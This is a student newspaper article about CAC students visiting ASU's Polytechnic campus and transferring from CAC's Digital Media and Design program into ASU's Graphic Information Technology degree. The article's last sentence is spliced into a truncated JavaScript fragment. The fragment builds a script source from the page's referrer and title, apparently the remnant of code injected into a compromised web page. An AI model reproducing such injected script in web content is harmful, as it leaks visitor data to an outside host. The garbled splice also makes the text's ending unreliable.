CAC’s Graphic Design Transfer Program

Fast-track; earn your B.A.S. degree at ASU in two years

Marielle Ariete, Cactus Contributor

On April 5th, a handful of students from CAC’s Digital Media and Design Program (MSC) took a trip to ASU’s Polytechnic campus to learn about the Graphic Information Technology (GIT) Program. As one of those students, it was very exciting to learn about the process of transferring to ASU for the GIT Program and just how easy it is.

Students involved in the Digital Media and Design program at CAC are given the opportunity to work hands-on with industry standard design programs such as Adobe Photoshop CC, Adobe Illustrator CC, Adobe InDesign CC, and more. While learning techniques such as typography and design principles, students are given projects that challenge them and give them the necessary skills to pursue a career in graphic design or transfer to a university design program.

Once you earn your A.A.S. at CAC, you are eligible to transfer to ASU and earn your B.A.S. degree within two years. Many, if not all, the programs used at ASU are the very same programs used at CAC. You will be able to apply the design and photography skills you developed at CAC to real-life situations while also learning how different types of technology interact with design. The program at ASU offers four different focuses: Digital Design/Print/Publishing, 2D/3D Animation, Commercial Photography/Video, and Web Design/Development.

Graphic design is one of the Bright Outlook occupations listed on the ASU website. This means that graphic design is a rapidly growing occupation and is expected to have many more job openings to come. From billboards to magazines to the pack of gum in your pocket, graphic design is everywhere. It is up to you to decide whether or not you want to take part in its bright future with help from CAC and ASU!s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;